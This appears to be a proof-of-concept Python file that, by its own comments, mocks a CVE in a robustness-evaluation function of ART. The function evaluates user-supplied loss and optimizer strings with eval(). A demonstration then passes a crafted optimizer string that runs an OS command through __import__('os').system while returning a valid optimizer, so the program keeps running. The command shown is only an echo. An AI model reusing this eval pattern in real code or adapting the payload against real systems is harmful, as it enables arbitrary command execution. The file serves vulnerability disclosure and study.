Vulnerable code sample

import torch
import torch.nn as nn
import torch.optim as optim
import os

# This is a hypothetical representation of the vulnerable function
# as described in the CVE. It is not the actual source code from ART.

def evaluate_robustness(model, data_loader, loss_fn_str, optimizer_str):
    """
    A mock function representing the vulnerable component.
    It takes model, data, and strings for loss function and optimizer.
    """
    print("Starting robustness evaluation...")

    # VULNERABILITY: Unsafe use of eval() on user-provided strings
    try:
        loss_function = eval(loss_fn_str)
        # The optimizer string needs access to the model's parameters
        optimizer = eval(optimizer_str)
        print("Successfully loaded Loss Function and Optimizer.")
    except Exception as e:
        print(f"Error evaluating parameters: {e}")
        return

    # A minimal loop to simulate using the evaluated objects
    model.train()
    for inputs, labels in data_loader:
        optimizer.zero_grad()
        outputs = model(inputs)
        loss = loss_function(outputs, labels)
        loss.backward()
        optimizer.step()
        print("Processed one batch.")
        break  # Only process one batch for this example

    print("Evaluation complete.")


# --- Demonstration of the exploit ---

if __name__ == '__main__':
    # 1. Set up a dummy model and data loader
    class SimpleModel(nn.Module):
        def __init__(self):
            super(SimpleModel, self).__init__()
            self.fc1 = nn.Linear(10, 1)
        def forward(self, x):
            return self.fc1(x)

    model = SimpleModel()
    dummy_data = [(torch.randn(5, 10), torch.randn(5, 1))]
    
    # 2. Define a legitimate-looking loss function string
    legit_loss_fn = "torch.nn.MSELoss()"

    # 3. Craft the malicious optimizer payload string
    # The payload executes an OS command and returns a valid optimizer object
    # to avoid crashing the application immediately after the exploit.
    malicious_optimizer_payload = \
        "(torch.optim.SGD(model.parameters(), lr=0.01), __import__('os').system('echo VULNERABILITY_TRIGGERED'))[0]"
    
    print("--- Calling function with malicious payload ---")
    
    # 4. Call the vulnerable function with the payload
    evaluate_robustness(
        model=model, 
        data_loader=dummy_data, 
        loss_fn_str=legit_loss_fn, 
        optimizer_str=malicious_optimizer_payload
    )